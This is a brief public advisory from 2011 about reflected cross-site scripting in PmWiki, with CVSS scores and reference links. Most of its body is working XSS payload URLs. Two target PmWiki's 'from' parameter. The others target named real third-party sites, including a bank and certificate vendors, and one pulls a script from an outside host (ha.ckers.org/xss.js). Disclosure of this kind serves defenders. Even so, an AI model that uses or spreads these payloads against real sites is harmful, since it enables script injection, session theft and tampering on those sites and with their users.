XSS in PmWiki

2011.03.02
Credit: dave b
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Hi you can xss pmwiki like this: http://dtcsupport.gplhost.com/Main/WikiSandbox?from=%22/%3E%3Cbody%20onload=alert%281%29%3E Also the above it seems to behave differently across versions of pmwiki. If it doesn't work ...html injection like this should: http://www.pmwiki.org/wiki/Main/WikiSandbox?from=%22/%3E%3Cinput%3E Oh if you bothered to read this far... here have some more xss: http://www.bankofamerica.com/remax/?siteid=%22/%3E%3Cscript%20src=http://ha.ckers.org/xss.js%3E http://www.vmworld.com/registration.jspa?sponsorCode=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Ehttps://www.digicert.com/custsupport/legal_policies_table.php?color=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Ehttps://secure.instantssl.com/renew/index.html?u=%22/%3E%3Cscript%3Ealert%28%27puddi%20puddi%27%29;%3C/script%3Exxx -- Always the dullness of the fool is the whetstone of the wits. -- William Shakespeare, "As You Like It

References:

http://www.pmwiki.org/wiki/PmWiki/ReleaseNotes
http://www.pmwiki.org/wiki/PmWiki/ChangeLog
http://secunia.com/advisories/42608
http://packetstormsecurity.org/files/view/96687/pm-wiki-xss.txt
http://marc.info/?l=full-disclosure&m=129234473228351&w=2


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